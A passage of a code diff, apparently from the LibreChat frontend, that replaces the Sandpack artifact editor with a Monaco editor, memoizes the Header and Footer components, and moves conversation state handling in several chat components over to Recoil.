const [readOnly, setReadOnly] = useState(initialReadOnly);
|
setCurrentUpdate(null);
|
||||||
useEffect(() => {
|
},
|
||||||
setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false));
|
onError: () => {
|
||||||
}, [isSubmitting, externalReadOnly]);
|
setIsMutating(false);
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
if (Object.keys(files).length === 0) {
|
const artifactRef = useRef(artifact);
|
||||||
|
const isMutatingRef = useRef(isMutating);
|
||||||
|
const currentUpdateRef = useRef(currentUpdate);
|
||||||
|
const editArtifactRef = useRef(editArtifact);
|
||||||
|
const setCurrentCodeRef = useRef(setCurrentCode);
|
||||||
|
const prevContentRef = useRef(artifact.content ?? '');
|
||||||
|
const prevArtifactId = useRef(artifact.id);
|
||||||
|
const prevReadOnly = useRef(readOnly);
|
||||||
|
|
||||||
|
artifactRef.current = artifact;
|
||||||
|
isMutatingRef.current = isMutating;
|
||||||
|
currentUpdateRef.current = currentUpdate;
|
||||||
|
editArtifactRef.current = editArtifact;
|
||||||
|
setCurrentCodeRef.current = setCurrentCode;
|
||||||
|
|
||||||
|
const debouncedMutation = useMemo(
|
||||||
|
() =>
|
||||||
|
debounce((code: string) => {
|
||||||
|
if (readOnly || isMutatingRef.current || artifactRef.current.index == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const art = artifactRef.current;
|
||||||
|
const isNotOriginal = art.content != null && code.trim() !== art.content.trim();
|
||||||
|
const isNotRepeated =
|
||||||
|
currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim();
|
||||||
|
|
||||||
|
if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) {
|
||||||
|
setCurrentCodeRef.current(code);
|
||||||
|
editArtifactRef.current.mutate({
|
||||||
|
index: art.index,
|
||||||
|
messageId: art.messageId ?? '',
|
||||||
|
original: art.content,
|
||||||
|
updated: code,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}, 500),
|
||||||
|
[readOnly],
|
||||||
|
);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
return () => debouncedMutation.cancel();
|
||||||
|
}, [artifact.id, debouncedMutation]);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Streaming: use model.applyEdits() to append new content.
|
||||||
|
* Unlike setValue/pushEditOperations, applyEdits preserves existing
|
||||||
|
* tokens so syntax highlighting doesn't flash during updates.
|
||||||
|
*/
|
||||||
|
useEffect(() => {
|
||||||
|
const ed = monacoRef.current;
|
||||||
|
if (!ed || !readOnly) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const newContent = artifact.content ?? '';
|
||||||
|
const prev = prevContentRef.current;
|
||||||
|
|
||||||
|
if (newContent === prev) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const model = ed.getModel();
|
||||||
|
if (!model) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (newContent.startsWith(prev) && prev.length > 0) {
|
||||||
|
const appended = newContent.slice(prev.length);
|
||||||
|
const endPos = model.getPositionAt(model.getValueLength());
|
||||||
|
model.applyEdits([
|
||||||
|
{
|
||||||
|
range: {
|
||||||
|
startLineNumber: endPos.lineNumber,
|
||||||
|
startColumn: endPos.column,
|
||||||
|
endLineNumber: endPos.lineNumber,
|
||||||
|
endColumn: endPos.column,
|
||||||
|
},
|
||||||
|
text: appended,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
} else {
|
||||||
|
model.setValue(newContent);
|
||||||
|
}
|
||||||
|
|
||||||
|
prevContentRef.current = newContent;
|
||||||
|
ed.revealLine(model.getLineCount());
|
||||||
|
}, [artifact.content, readOnly, monacoRef]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (artifact.id === prevArtifactId.current) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
prevArtifactId.current = artifact.id;
|
||||||
|
prevContentRef.current = artifact.content ?? '';
|
||||||
|
const ed = monacoRef.current;
|
||||||
|
if (ed && artifact.content != null) {
|
||||||
|
ed.getModel()?.setValue(artifact.content);
|
||||||
|
}
|
||||||
|
}, [artifact.id, artifact.content, monacoRef]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
if (prevReadOnly.current && !readOnly && artifact.content != null) {
|
||||||
|
const ed = monacoRef.current;
|
||||||
|
if (ed) {
|
||||||
|
ed.getModel()?.setValue(artifact.content);
|
||||||
|
prevContentRef.current = artifact.content;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
prevReadOnly.current = readOnly;
|
||||||
|
}, [readOnly, artifact.content, monacoRef]);
|
||||||
|
|
||||||
|
const handleChange = useCallback(
|
||||||
|
(value: string | undefined) => {
|
||||||
|
if (value === undefined || readOnly) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
prevContentRef.current = value;
|
||||||
|
setCurrentCode(value);
|
||||||
|
if (value.length > 0) {
|
||||||
|
debouncedMutation(value);
|
||||||
|
}
|
||||||
|
},
|
||||||
|
[readOnly, debouncedMutation, setCurrentCode],
|
||||||
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Disable all validation — this is an artifact viewer/editor, not an IDE.
|
||||||
|
* Note: these are global Monaco settings that affect all editor instances on the page.
|
||||||
|
* The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript`
|
||||||
|
* as `{ deprecated: true }` while the runtime API is fully functional.
|
||||||
|
*/
|
||||||
|
const handleBeforeMount = useCallback((monaco: Monaco) => {
|
||||||
|
const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages
|
||||||
|
.typescript as unknown as {
|
||||||
|
typescriptDefaults: {
|
||||||
|
setDiagnosticsOptions: (o: {
|
||||||
|
noSemanticValidation: boolean;
|
||||||
|
noSyntaxValidation: boolean;
|
||||||
|
}) => void;
|
||||||
|
setCompilerOptions: (o: {
|
||||||
|
allowNonTsExtensions: boolean;
|
||||||
|
allowJs: boolean;
|
||||||
|
jsx: number;
|
||||||
|
}) => void;
|
||||||
|
};
|
||||||
|
javascriptDefaults: {
|
||||||
|
setDiagnosticsOptions: (o: {
|
||||||
|
noSemanticValidation: boolean;
|
||||||
|
noSyntaxValidation: boolean;
|
||||||
|
}) => void;
|
||||||
|
setCompilerOptions: (o: {
|
||||||
|
allowNonTsExtensions: boolean;
|
||||||
|
allowJs: boolean;
|
||||||
|
jsx: number;
|
||||||
|
}) => void;
|
||||||
|
};
|
||||||
|
JsxEmit: { React: number };
|
||||||
|
};
|
||||||
|
const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true };
|
||||||
|
const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React };
|
||||||
|
typescriptDefaults.setDiagnosticsOptions(diagnosticsOff);
|
||||||
|
javascriptDefaults.setDiagnosticsOptions(diagnosticsOff);
|
||||||
|
typescriptDefaults.setCompilerOptions(compilerBase);
|
||||||
|
javascriptDefaults.setCompilerOptions(compilerBase);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleMount = useCallback(
|
||||||
|
(ed: editor.IStandaloneCodeEditor) => {
|
||||||
|
monacoRef.current = ed;
|
||||||
|
prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? '';
|
||||||
|
if (readOnly) {
|
||||||
|
const model = ed.getModel();
|
||||||
|
if (model) {
|
||||||
|
ed.revealLine(model.getLineCount());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
|
[monacoRef],
|
||||||
|
);
|
||||||
|
|
||||||
|
const language = getMonacoLanguage(artifact.type, artifact.language);
|
||||||
|
|
||||||
|
const editorOptions = useMemo<editor.IStandaloneEditorConstructionOptions>(
|
||||||
|
() => ({
|
||||||
|
readOnly,
|
||||||
|
minimap: { enabled: false },
|
||||||
|
lineNumbers: 'on',
|
||||||
|
scrollBeyondLastLine: false,
|
||||||
|
fontSize: 13,
|
||||||
|
tabSize: 2,
|
||||||
|
wordWrap: 'on',
|
||||||
|
automaticLayout: true,
|
||||||
|
padding: { top: 8 },
|
||||||
|
renderLineHighlight: readOnly ? 'none' : 'line',
|
||||||
|
cursorStyle: readOnly ? 'underline-thin' : 'line',
|
||||||
|
scrollbar: {
|
||||||
|
vertical: 'visible',
|
||||||
|
horizontal: 'auto',
|
||||||
|
verticalScrollbarSize: 8,
|
||||||
|
horizontalScrollbarSize: 8,
|
||||||
|
useShadows: false,
|
||||||
|
alwaysConsumeMouseWheel: false,
|
||||||
|
},
|
||||||
|
overviewRulerLanes: 0,
|
||||||
|
hideCursorInOverviewRuler: true,
|
||||||
|
overviewRulerBorder: false,
|
||||||
|
folding: false,
|
||||||
|
glyphMargin: false,
|
||||||
|
colorDecorators: !readOnly,
|
||||||
|
occurrencesHighlight: readOnly ? 'off' : 'singleFile',
|
||||||
|
selectionHighlight: !readOnly,
|
||||||
|
renderValidationDecorations: readOnly ? 'off' : 'editable',
|
||||||
|
quickSuggestions: !readOnly,
|
||||||
|
suggestOnTriggerCharacters: !readOnly,
|
||||||
|
parameterHints: { enabled: !readOnly },
|
||||||
|
hover: { enabled: !readOnly },
|
||||||
|
matchBrackets: readOnly ? 'never' : 'always',
|
||||||
|
}),
|
||||||
|
[readOnly],
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!artifact.content) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<StyledProvider
|
<div className="h-full w-full bg-[#1e1e1e]">
|
||||||
theme="dark"
|
<MonacoEditor
|
||||||
files={{
|
height="100%"
|
||||||
...files,
|
language={readOnly ? 'plaintext' : language}
|
||||||
...sharedFiles,
|
theme="vs-dark"
|
||||||
}}
|
defaultValue={artifact.content}
|
||||||
options={options}
|
onChange={handleChange}
|
||||||
{...sharedProps}
|
beforeMount={handleBeforeMount}
|
||||||
template={template}
|
onMount={handleMount}
|
||||||
>
|
options={editorOptions}
|
||||||
<CodeEditor fileKey={fileKey} artifact={artifact} editorRef={editorRef} readOnly={readOnly} />
|
/>
|
||||||
</StyledProvider>
|
</div>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|
|
||||||
|
|
@ -1,30 +1,26 @@
|
||||||
import { useRef, useEffect } from 'react';
|
import { useRef, useEffect } from 'react';
|
||||||
import * as Tabs from '@radix-ui/react-tabs';
|
import * as Tabs from '@radix-ui/react-tabs';
|
||||||
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
|
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
|
||||||
import type { CodeEditorRef } from '@codesandbox/sandpack-react';
|
import type { editor } from 'monaco-editor';
|
||||||
import type { Artifact } from '~/common';
|
import type { Artifact } from '~/common';
|
||||||
import { useCodeState } from '~/Providers/EditorContext';
|
import { useCodeState } from '~/Providers/EditorContext';
|
||||||
import { useArtifactsContext } from '~/Providers';
|
|
||||||
import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
|
import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
|
||||||
import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll';
|
|
||||||
import { ArtifactCodeEditor } from './ArtifactCodeEditor';
|
import { ArtifactCodeEditor } from './ArtifactCodeEditor';
|
||||||
import { useGetStartupConfig } from '~/data-provider';
|
import { useGetStartupConfig } from '~/data-provider';
|
||||||
import { ArtifactPreview } from './ArtifactPreview';
|
import { ArtifactPreview } from './ArtifactPreview';
|
||||||
|
|
||||||
export default function ArtifactTabs({
|
export default function ArtifactTabs({
|
||||||
artifact,
|
artifact,
|
||||||
editorRef,
|
|
||||||
previewRef,
|
previewRef,
|
||||||
isSharedConvo,
|
isSharedConvo,
|
||||||
}: {
|
}: {
|
||||||
artifact: Artifact;
|
artifact: Artifact;
|
||||||
editorRef: React.MutableRefObject<CodeEditorRef>;
|
|
||||||
previewRef: React.MutableRefObject<SandpackPreviewRef>;
|
previewRef: React.MutableRefObject<SandpackPreviewRef>;
|
||||||
isSharedConvo?: boolean;
|
isSharedConvo?: boolean;
|
||||||
}) {
|
}) {
|
||||||
const { isSubmitting } = useArtifactsContext();
|
|
||||||
const { currentCode, setCurrentCode } = useCodeState();
|
const { currentCode, setCurrentCode } = useCodeState();
|
||||||
const { data: startupConfig } = useGetStartupConfig();
|
const { data: startupConfig } = useGetStartupConfig();
|
||||||
|
const monacoRef = useRef<editor.IStandaloneCodeEditor | null>(null);
|
||||||
const lastIdRef = useRef<string | null>(null);
|
const lastIdRef = useRef<string | null>(null);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
|
|
@ -34,33 +30,24 @@ export default function ArtifactTabs({
|
||||||
lastIdRef.current = artifact.id;
|
lastIdRef.current = artifact.id;
|
||||||
}, [setCurrentCode, artifact.id]);
|
}, [setCurrentCode, artifact.id]);
|
||||||
|
|
||||||
const content = artifact.content ?? '';
|
|
||||||
const contentRef = useRef<HTMLDivElement>(null);
|
|
||||||
useAutoScroll({ ref: contentRef, content, isSubmitting });
|
|
||||||
|
|
||||||
const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
|
const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="flex h-full w-full flex-col">
|
<div className="flex h-full w-full flex-col">
|
||||||
<Tabs.Content
|
<Tabs.Content
|
||||||
ref={contentRef}
|
|
||||||
value="code"
|
value="code"
|
||||||
id="artifacts-code"
|
id="artifacts-code"
|
||||||
className="h-full w-full flex-grow overflow-auto"
|
className="h-full w-full flex-grow overflow-auto"
|
||||||
tabIndex={-1}
|
tabIndex={-1}
|
||||||
>
|
>
|
||||||
<ArtifactCodeEditor
|
<ArtifactCodeEditor artifact={artifact} monacoRef={monacoRef} readOnly={isSharedConvo} />
|
||||||
files={files}
|
|
||||||
fileKey={fileKey}
|
|
||||||
template={template}
|
|
||||||
artifact={artifact}
|
|
||||||
editorRef={editorRef}
|
|
||||||
sharedProps={sharedProps}
|
|
||||||
readOnly={isSharedConvo}
|
|
||||||
/>
|
|
||||||
</Tabs.Content>
|
</Tabs.Content>
|
||||||
|
|
||||||
<Tabs.Content value="preview" className="h-full w-full flex-grow overflow-auto" tabIndex={-1}>
|
<Tabs.Content
|
||||||
|
value="preview"
|
||||||
|
className="h-full w-full flex-grow overflow-hidden"
|
||||||
|
tabIndex={-1}
|
||||||
|
>
|
||||||
<ArtifactPreview
|
<ArtifactPreview
|
||||||
files={files}
|
files={files}
|
||||||
fileKey={fileKey}
|
fileKey={fileKey}
|
||||||
|
|
|
||||||
|
|
@ -3,7 +3,7 @@ import * as Tabs from '@radix-ui/react-tabs';
|
||||||
import { Code, Play, RefreshCw, X } from 'lucide-react';
|
import { Code, Play, RefreshCw, X } from 'lucide-react';
|
||||||
import { useSetRecoilState, useResetRecoilState } from 'recoil';
|
import { useSetRecoilState, useResetRecoilState } from 'recoil';
|
||||||
import { Button, Spinner, useMediaQuery, Radio } from '@librechat/client';
|
import { Button, Spinner, useMediaQuery, Radio } from '@librechat/client';
|
||||||
import type { SandpackPreviewRef, CodeEditorRef } from '@codesandbox/sandpack-react';
|
import type { SandpackPreviewRef } from '@codesandbox/sandpack-react';
|
||||||
import { useShareContext, useMutationState } from '~/Providers';
|
import { useShareContext, useMutationState } from '~/Providers';
|
||||||
import useArtifacts from '~/hooks/Artifacts/useArtifacts';
|
import useArtifacts from '~/hooks/Artifacts/useArtifacts';
|
||||||
import DownloadArtifact from './DownloadArtifact';
|
import DownloadArtifact from './DownloadArtifact';
|
||||||
|
|
@ -22,7 +22,6 @@ export default function Artifacts() {
|
||||||
const { isMutating } = useMutationState();
|
const { isMutating } = useMutationState();
|
||||||
const { isSharedConvo } = useShareContext();
|
const { isSharedConvo } = useShareContext();
|
||||||
const isMobile = useMediaQuery('(max-width: 868px)');
|
const isMobile = useMediaQuery('(max-width: 868px)');
|
||||||
const editorRef = useRef<CodeEditorRef>();
|
|
||||||
const previewRef = useRef<SandpackPreviewRef>();
|
const previewRef = useRef<SandpackPreviewRef>();
|
||||||
const [isVisible, setIsVisible] = useState(false);
|
const [isVisible, setIsVisible] = useState(false);
|
||||||
const [isClosing, setIsClosing] = useState(false);
|
const [isClosing, setIsClosing] = useState(false);
|
||||||
|
|
@ -297,7 +296,6 @@ export default function Artifacts() {
|
||||||
<div className="absolute inset-0 flex flex-col">
|
<div className="absolute inset-0 flex flex-col">
|
||||||
<ArtifactTabs
|
<ArtifactTabs
|
||||||
artifact={currentArtifact}
|
artifact={currentArtifact}
|
||||||
editorRef={editorRef as React.MutableRefObject<CodeEditorRef>}
|
|
||||||
previewRef={previewRef as React.MutableRefObject<SandpackPreviewRef>}
|
previewRef={previewRef as React.MutableRefObject<SandpackPreviewRef>}
|
||||||
isSharedConvo={isSharedConvo}
|
isSharedConvo={isSharedConvo}
|
||||||
/>
|
/>
|
||||||
|
|
|
||||||
|
|
@ -1,11 +1,8 @@
|
||||||
import React, { memo, useEffect, useRef, useState } from 'react';
|
import React, { memo, useState } from 'react';
|
||||||
import copy from 'copy-to-clipboard';
|
import copy from 'copy-to-clipboard';
|
||||||
import rehypeKatex from 'rehype-katex';
|
|
||||||
import ReactMarkdown from 'react-markdown';
|
|
||||||
import { Button } from '@librechat/client';
|
import { Button } from '@librechat/client';
|
||||||
import rehypeHighlight from 'rehype-highlight';
|
|
||||||
import { Copy, CircleCheckBig } from 'lucide-react';
|
import { Copy, CircleCheckBig } from 'lucide-react';
|
||||||
import { handleDoubleClick, langSubset } from '~/utils';
|
import { handleDoubleClick } from '~/utils';
|
||||||
import { useLocalize } from '~/hooks';
|
import { useLocalize } from '~/hooks';
|
||||||
|
|
||||||
type TCodeProps = {
|
type TCodeProps = {
|
||||||
|
|
@ -29,74 +26,6 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC
|
||||||
return <code className={`hljs language-${lang} !whitespace-pre`}>{children}</code>;
|
return <code className={`hljs language-${lang} !whitespace-pre`}>{children}</code>;
|
||||||
});
|
});
|
||||||
|
|
||||||
export const CodeMarkdown = memo(
|
|
||||||
({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => {
|
|
||||||
const scrollRef = useRef<HTMLDivElement>(null);
|
|
||||||
const [userScrolled, setUserScrolled] = useState(false);
|
|
||||||
const currentContent = content;
|
|
||||||
const rehypePlugins = [
|
|
||||||
[rehypeKatex],
|
|
||||||
[
|
|
||||||
rehypeHighlight,
|
|
||||||
{
|
|
||||||
detect: true,
|
|
||||||
ignoreMissing: true,
|
|
||||||
subset: langSubset,
|
|
||||||
},
|
|
||||||
],
|
|
||||||
];
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
const scrollContainer = scrollRef.current;
|
|
||||||
if (!scrollContainer) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const handleScroll = () => {
|
|
||||||
const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
|
|
||||||
const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
|
|
||||||
|
|
||||||
if (!isNearBottom) {
|
|
||||||
setUserScrolled(true);
|
|
||||||
} else {
|
|
||||||
setUserScrolled(false);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
scrollContainer.addEventListener('scroll', handleScroll);
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
scrollContainer.removeEventListener('scroll', handleScroll);
|
|
||||||
};
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
const scrollContainer = scrollRef.current;
|
|
||||||
if (!scrollContainer || !isSubmitting || userScrolled) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
scrollContainer.scrollTop = scrollContainer.scrollHeight;
|
|
||||||
}, [content, isSubmitting, userScrolled]);
|
|
||||||
|
|
||||||
return (
|
|
||||||
<div ref={scrollRef} className="max-h-full overflow-y-auto">
|
|
||||||
<ReactMarkdown
|
|
||||||
/* @ts-ignore */
|
|
||||||
rehypePlugins={rehypePlugins}
|
|
||||||
components={
|
|
||||||
{ code } as {
|
|
||||||
[key: string]: React.ElementType;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
>
|
|
||||||
{currentContent}
|
|
||||||
</ReactMarkdown>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
},
|
|
||||||
);
|
|
||||||
|
|
||||||
export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
|
export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => {
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
const [isCopied, setIsCopied] = useState(false);
|
const [isCopied, setIsCopied] = useState(false);
|
||||||
|
|
|
||||||
|
|
@ -1,17 +1,21 @@
|
||||||
|
import { useCallback } from 'react';
|
||||||
|
import { useSetRecoilState, useRecoilValue } from 'recoil';
|
||||||
import { PlusCircle } from 'lucide-react';
|
import { PlusCircle } from 'lucide-react';
|
||||||
import { TooltipAnchor } from '@librechat/client';
|
import { TooltipAnchor } from '@librechat/client';
|
||||||
import { isAssistantsEndpoint } from 'librechat-data-provider';
|
import { isAssistantsEndpoint } from 'librechat-data-provider';
|
||||||
import type { TConversation } from 'librechat-data-provider';
|
import type { TConversation } from 'librechat-data-provider';
|
||||||
import { useChatContext, useAddedChatContext } from '~/Providers';
|
import { useGetConversation, useLocalize } from '~/hooks';
|
||||||
import { mainTextareaId } from '~/common';
|
import { mainTextareaId } from '~/common';
|
||||||
import { useLocalize } from '~/hooks';
|
import store from '~/store';
|
||||||
|
|
||||||
function AddMultiConvo() {
|
function AddMultiConvo() {
|
||||||
const { conversation } = useChatContext();
|
|
||||||
const { setConversation: setAddedConvo } = useAddedChatContext();
|
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
|
const getConversation = useGetConversation(0);
|
||||||
|
const endpoint = useRecoilValue(store.conversationEndpointByIndex(0));
|
||||||
|
const setAddedConvo = useSetRecoilState(store.conversationByIndex(1));
|
||||||
|
|
||||||
const clickHandler = () => {
|
const clickHandler = useCallback(() => {
|
||||||
|
const conversation = getConversation();
|
||||||
const { title: _t, ...convo } = conversation ?? ({} as TConversation);
|
const { title: _t, ...convo } = conversation ?? ({} as TConversation);
|
||||||
setAddedConvo({
|
setAddedConvo({
|
||||||
...convo,
|
...convo,
|
||||||
|
|
@ -22,13 +26,13 @@ function AddMultiConvo() {
|
||||||
if (textarea) {
|
if (textarea) {
|
||||||
textarea.focus();
|
textarea.focus();
|
||||||
}
|
}
|
||||||
};
|
}, [getConversation, setAddedConvo]);
|
||||||
|
|
||||||
if (!conversation) {
|
if (!endpoint) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (isAssistantsEndpoint(conversation.endpoint)) {
|
if (isAssistantsEndpoint(endpoint)) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,11 +1,11 @@
|
||||||
import React, { useEffect } from 'react';
|
import React, { useEffect, memo } from 'react';
|
||||||
import ReactMarkdown from 'react-markdown';
|
|
||||||
import TagManager from 'react-gtm-module';
|
import TagManager from 'react-gtm-module';
|
||||||
|
import ReactMarkdown from 'react-markdown';
|
||||||
import { Constants } from 'librechat-data-provider';
|
import { Constants } from 'librechat-data-provider';
|
||||||
import { useGetStartupConfig } from '~/data-provider';
|
import { useGetStartupConfig } from '~/data-provider';
|
||||||
import { useLocalize } from '~/hooks';
|
import { useLocalize } from '~/hooks';
|
||||||
|
|
||||||
export default function Footer({ className }: { className?: string }) {
|
function Footer({ className }: { className?: string }) {
|
||||||
const { data: config } = useGetStartupConfig();
|
const { data: config } = useGetStartupConfig();
|
||||||
const localize = useLocalize();
|
const localize = useLocalize();
|
||||||
|
|
||||||
|
|
@ -98,3 +98,8 @@ export default function Footer({ className }: { className?: string }) {
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const MemoizedFooter = memo(Footer);
|
||||||
|
MemoizedFooter.displayName = 'Footer';
|
||||||
|
|
||||||
|
export default MemoizedFooter;
|
||||||
|
|
|
||||||
|
|
@ -1,4 +1,4 @@
|
||||||
import { useMemo } from 'react';
|
import { memo, useMemo } from 'react';
|
||||||
import { useMediaQuery } from '@librechat/client';
|
import { useMediaQuery } from '@librechat/client';
|
||||||
import { useOutletContext } from 'react-router-dom';
|
import { useOutletContext } from 'react-router-dom';
|
||||||
import { AnimatePresence, motion } from 'framer-motion';
|
import { AnimatePresence, motion } from 'framer-motion';
|
||||||
|
|
@ -16,7 +16,7 @@ import { cn } from '~/utils';
|
||||||
|
|
||||||
const defaultInterface = getConfigDefaults().interface;
|
const defaultInterface = getConfigDefaults().interface;
|
||||||
|
|
||||||
export default function Header() {
|
function Header() {
|
||||||
const { data: startupConfig } = useGetStartupConfig();
|
const { data: startupConfig } = useGetStartupConfig();
|
||||||
const { navVisible, setNavVisible } = useOutletContext<ContextType>();
|
const { navVisible, setNavVisible } = useOutletContext<ContextType>();
|
||||||
|
|
||||||
|
|
@ -35,6 +35,11 @@ export default function Header() {
|
||||||
permission: Permissions.USE,
|
permission: Permissions.USE,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const hasAccessToTemporaryChat = useHasAccess({
|
||||||
|
permissionType: PermissionTypes.TEMPORARY_CHAT,
|
||||||
|
permission: Permissions.USE,
|
||||||
|
});
|
||||||
|
|
||||||
const isSmallScreen = useMediaQuery('(max-width: 768px)');
|
const isSmallScreen = useMediaQuery('(max-width: 768px)');
|
||||||
|
|
||||||
return (
|
return (
|
||||||
|
|
@ -73,7 +78,7 @@ export default function Header() {
|
||||||
<ExportAndShareMenu
|
<ExportAndShareMenu
|
||||||
isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
|
isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
|
||||||
/>
|
/>
|
||||||
<TemporaryChat />
|
{hasAccessToTemporaryChat === true && <TemporaryChat />}
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
@ -85,7 +90,7 @@ export default function Header() {
|
||||||
<ExportAndShareMenu
|
<ExportAndShareMenu
|
||||||
isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
|
isSharedButtonEnabled={startupConfig?.sharedLinksEnabled ?? false}
|
||||||
/>
|
/>
|
||||||
<TemporaryChat />
|
{hasAccessToTemporaryChat === true && <TemporaryChat />}
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
@ -94,3 +99,8 @@ export default function Header() {
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const MemoizedHeader = memo(Header);
|
||||||
|
MemoizedHeader.displayName = 'Header';
|
||||||
|
|
||||||
|
export default MemoizedHeader;
|
||||||
|
|
|
||||||
|
|
@ -219,7 +219,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
|
||||||
<div className={cn('flex w-full items-center', isRTL && 'flex-row-reverse')}>
|
<div className={cn('flex w-full items-center', isRTL && 'flex-row-reverse')}>
|
||||||
{showPlusPopover && !isAssistantsEndpoint(endpoint) && (
|
{showPlusPopover && !isAssistantsEndpoint(endpoint) && (
|
||||||
<Mention
|
<Mention
|
||||||
conversation={conversation}
|
|
||||||
setShowMentionPopover={setShowPlusPopover}
|
setShowMentionPopover={setShowPlusPopover}
|
||||||
newConversation={generateConversation}
|
newConversation={generateConversation}
|
||||||
textAreaRef={textAreaRef}
|
textAreaRef={textAreaRef}
|
||||||
|
|
@ -230,7 +229,6 @@ const ChatForm = memo(({ index = 0 }: { index?: number }) => {
|
||||||
)}
|
)}
|
||||||
{showMentionPopover && (
|
{showMentionPopover && (
|
||||||
<Mention
|
<Mention
|
||||||
conversation={conversation}
|
|
||||||
setShowMentionPopover={setShowMentionPopover}
|
setShowMentionPopover={setShowMentionPopover}
|
||||||
newConversation={newConversation}
|
newConversation={newConversation}
|
||||||
textAreaRef={textAreaRef}
|
textAreaRef={textAreaRef}
|
||||||
|
|
|
||||||
|
|
@ -2,10 +2,9 @@ import { memo, useMemo } from 'react';
|
||||||
import {
|
import {
|
||||||
Constants,
|
Constants,
|
||||||
supportsFiles,
|
supportsFiles,
|
||||||
EModelEndpoint,
|
|
||||||
mergeFileConfig,
|
mergeFileConfig,
|
||||||
isAgentsEndpoint,
|
isAgentsEndpoint,
|
||||||
getEndpointField,
|
resolveEndpointType,
|
||||||
isAssistantsEndpoint,
|
isAssistantsEndpoint,
|
||||||
getEndpointFileConfig,
|
getEndpointFileConfig,
|
||||||
} from 'librechat-data-provider';
|
} from 'librechat-data-provider';
|
||||||
|
|
@ -55,21 +54,31 @@ function AttachFileChat({
|
||||||
|
|
||||||
const { data: endpointsConfig } = useGetEndpointsQuery();
|
const { data: endpointsConfig } = useGetEndpointsQuery();
|
||||||
|
|
||||||
const endpointType = useMemo(() => {
|
const agentProvider = useMemo(() => {
|
||||||
return (
|
if (!isAgents || !conversation?.agent_id) {
|
||||||
getEndpointField(endpointsConfig, endpoint, 'type') ||
|
return undefined;
|
||||||
(endpoint as EModelEndpoint | undefined)
|
}
|
||||||
);
|
const agent = agentData || agentsMap?.[conversation.agent_id];
|
||||||
}, [endpoint, endpointsConfig]);
|
return agent?.provider;
|
||||||
|
}, [isAgents, conversation?.agent_id, agentData, agentsMap]);
|
||||||
|
|
||||||
|
const endpointType = useMemo(
|
||||||
|
() => resolveEndpointType(endpointsConfig, endpoint, agentProvider),
|
||||||
|
[endpointsConfig, endpoint, agentProvider],
|
||||||
|
);
|
||||||
|
|
||||||
|
